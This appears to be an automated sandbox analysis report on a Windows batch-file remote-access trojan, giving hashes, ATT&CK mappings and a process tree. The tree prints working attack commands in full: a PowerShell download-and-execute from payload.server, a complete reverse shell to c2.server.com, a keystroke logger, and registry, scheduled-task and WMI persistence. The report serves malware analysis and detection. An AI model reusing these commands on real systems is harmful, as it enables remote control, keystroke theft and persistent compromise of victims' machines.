Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
29/05/2026, 01:51
Static task
static1
Behavioral task
behavioral1
Sample
rat_build_157597_014432.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
rat_build_157597_014432.bat
Resource
win11-20260513-en
General
- Target rat_build_157597_014432.bat
- Size 4KB
- Sample260529-b9srcaax31
- SHA256 3c40c8f455d8d6a0cb29426d77099645d4caf5f5d657e870805012cefa337fa5
- MD5 803054d3039d3e0447df7e467406d1ff
- SHA1 e8febffbb796133224e76f52d53c538a74d976cc
- SHA512 217048d145616a76cf4e28e7a9f0e90a9479edc625b193d47cfe4f8ab1ed388bcada77ecc20977f698a1175a93b1b3d7d85390aa0ac978c3c229c8a3c46884db
- SSDEEP 96:0EIEKAW1JVKEj/d1nlc5nPoFSwJCX6CRj213fJ8e0g98eiFgZk8mvlo1Rxo6V:0EXA1JVKWjl7J0/1213We0KiFgkHluxJ
- TLSH T19CA109236BAB652086F02629CD33384483ACD5FB1301DACDBE898DD51A4DB83D06D5E7
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://payload.server/update_157597.ps1
Signatures
-
pid Process 4836 powershell.exe 2948 powershell.exe 1432 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_157597 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_157597.bat" reg.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 3 checkip.amazonaws.com - Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 1856 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 3612 systeminfo.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 3916 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4692 schtasks.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2948 powershell.exe 2948 powershell.exe 4836 powershell.exe 4836 powershell.exe 1432 powershell.exe 1432 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 3228 WMIC.exe Token: SeSecurityPrivilege 3228 WMIC.exe Token: SeTakeOwnershipPrivilege 3228 WMIC.exe Token: SeLoadDriverPrivilege 3228 WMIC.exe Token: SeSystemProfilePrivilege 3228 WMIC.exe Token: SeSystemtimePrivilege 3228 WMIC.exe Token: SeProfSingleProcessPrivilege 3228 WMIC.exe Token: SeIncBasePriorityPrivilege 3228 WMIC.exe Token: SeCreatePagefilePrivilege 3228 WMIC.exe Token: SeBackupPrivilege 3228 WMIC.exe Token: SeRestorePrivilege 3228 WMIC.exe Token: SeShutdownPrivilege 3228 WMIC.exe Token: SeDebugPrivilege 3228 WMIC.exe Token: SeSystemEnvironmentPrivilege 3228 WMIC.exe Token: SeRemoteShutdownPrivilege 3228 WMIC.exe Token: SeUndockPrivilege 3228 WMIC.exe Token: SeManageVolumePrivilege 3228 WMIC.exe Token: 33 3228 WMIC.exe Token: 34 3228 WMIC.exe Token: 35 3228 WMIC.exe Token: 36 3228 WMIC.exe Token: SeIncreaseQuotaPrivilege 3228 WMIC.exe Token: SeSecurityPrivilege 3228 WMIC.exe Token: SeTakeOwnershipPrivilege 3228 WMIC.exe Token: SeLoadDriverPrivilege 3228 WMIC.exe Token: SeSystemProfilePrivilege 3228 WMIC.exe Token: SeSystemtimePrivilege 3228 WMIC.exe Token: SeProfSingleProcessPrivilege 3228 WMIC.exe Token: SeIncBasePriorityPrivilege 3228 WMIC.exe Token: SeCreatePagefilePrivilege 3228 WMIC.exe Token: SeBackupPrivilege 3228 WMIC.exe Token: SeRestorePrivilege 3228 WMIC.exe Token: SeShutdownPrivilege 3228 WMIC.exe Token: SeDebugPrivilege 3228 WMIC.exe Token: SeSystemEnvironmentPrivilege 3228 WMIC.exe Token: SeRemoteShutdownPrivilege 3228 WMIC.exe Token: SeUndockPrivilege 3228 WMIC.exe Token: SeManageVolumePrivilege 3228 WMIC.exe Token: 33 3228 WMIC.exe Token: 34 3228 WMIC.exe Token: 35 3228 WMIC.exe Token: 36 3228 WMIC.exe Token: SeIncreaseQuotaPrivilege 1548 WMIC.exe Token: SeSecurityPrivilege 1548 WMIC.exe Token: SeTakeOwnershipPrivilege 1548 WMIC.exe Token: SeLoadDriverPrivilege 1548 WMIC.exe Token: SeSystemProfilePrivilege 1548 WMIC.exe Token: SeSystemtimePrivilege 1548 WMIC.exe Token: SeProfSingleProcessPrivilege 1548 WMIC.exe Token: SeIncBasePriorityPrivilege 1548 WMIC.exe Token: SeCreatePagefilePrivilege 1548 WMIC.exe Token: SeBackupPrivilege 1548 WMIC.exe Token: SeRestorePrivilege 1548 WMIC.exe Token: SeShutdownPrivilege 1548 WMIC.exe Token: SeDebugPrivilege 1548 WMIC.exe Token: SeSystemEnvironmentPrivilege 1548 WMIC.exe Token: SeRemoteShutdownPrivilege 1548 WMIC.exe Token: SeUndockPrivilege 1548 WMIC.exe Token: SeManageVolumePrivilege 1548 WMIC.exe Token: 33 1548 WMIC.exe Token: 34 1548 WMIC.exe Token: 35 1548 WMIC.exe Token: 36 1548 WMIC.exe Token: SeIncreaseQuotaPrivilege 1548 WMIC.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 3912 wrote to memory of 4692 3912 cmd.exe 89 PID 3912 wrote to memory of 3916 3912 cmd.exe 90 PID 3912 wrote to memory of 3228 3912 cmd.exe 91 PID 3912 wrote to memory of 1548 3912 cmd.exe 92 PID 3912 wrote to memory of 3360 3912 cmd.exe 93 PID 3912 wrote to memory of 3612 3912 cmd.exe 114 PID 3912 wrote to memory of 1856 3912 cmd.exe 117 PID 3912 wrote to memory of 2948 3912 cmd.exe 118 PID 3912 wrote to memory of 4836 3912 cmd.exe 119 PID 3912 wrote to memory of 1432 3912 cmd.exe 124 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_157597_014432.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3912 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdate_157597" /tr "C:\Users\Admin\AppData\Local\Temp\_157597.bat" /sc onlogon /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4692
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-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_157597" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_157597.bat" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:3916
-
-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_157597", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3228
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C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_157597", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_157597.bat"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1548
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C:\Windows\system32\curl.execurl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_157597.txt2⤵PID:3360
-
-
C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:3612
-
-
C:\Windows\system32\NETSTAT.EXEnetstat -an2⤵
- Gathers network information
PID:1856
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-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_157597.ps1'))"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2948
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4836
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1432
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
- MD5 2f57fde6b33e89a63cf0dfdd6e60a351
- SHA1 445bf1b07223a04f8a159581a3d37d630273010f
- SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
- TLSH T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 b674bf02b495dc994bd95466db88ec8d2ffe978005a4213870a70c0ce230d71d
- MD5 3fdea80e22dbcc708c7638a28132bcef
- SHA1 a9b9b19113952b4a7760657320d7677d5d2bb1e0
- SHA512 38d87ee781a93b4a60122e5315bb1b1e0b7f5864ad463c858960f8a33a5d0d7788fe3a0c282e3759650723417cfc84e51b9478f9ec4270280c4d86e63ecd7ee6
- TLSH T154117627F39CC921CC96153A409DAC1172B683DB81AEDF9FAFC4D214A07F984CB712A4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 9c7d4c8c4eaf892b5d145729abc250758715a6d421cfb6eb889574b2d539bcdf
- MD5 41d4ca6ccc49209ee1c700ae2e48a031
- SHA1 4ad9c670b1f1512ea6d39d26a338d1bc0ea2bf5b
- SHA512 8375dd343cd980de0e96a82c1d48d9d7bcb0c7a1aa92965c36a5fa51e5633e90b5ae31efcd44d19db94fd8318215e1223c664875e64f4d30aae038d2205fd359
- TLSH T136115727B39C89A1CC96163A409D9C1172B683D7419EDEDF6BC0D214A17F584CB71190
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_maot0ghg.m0r.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH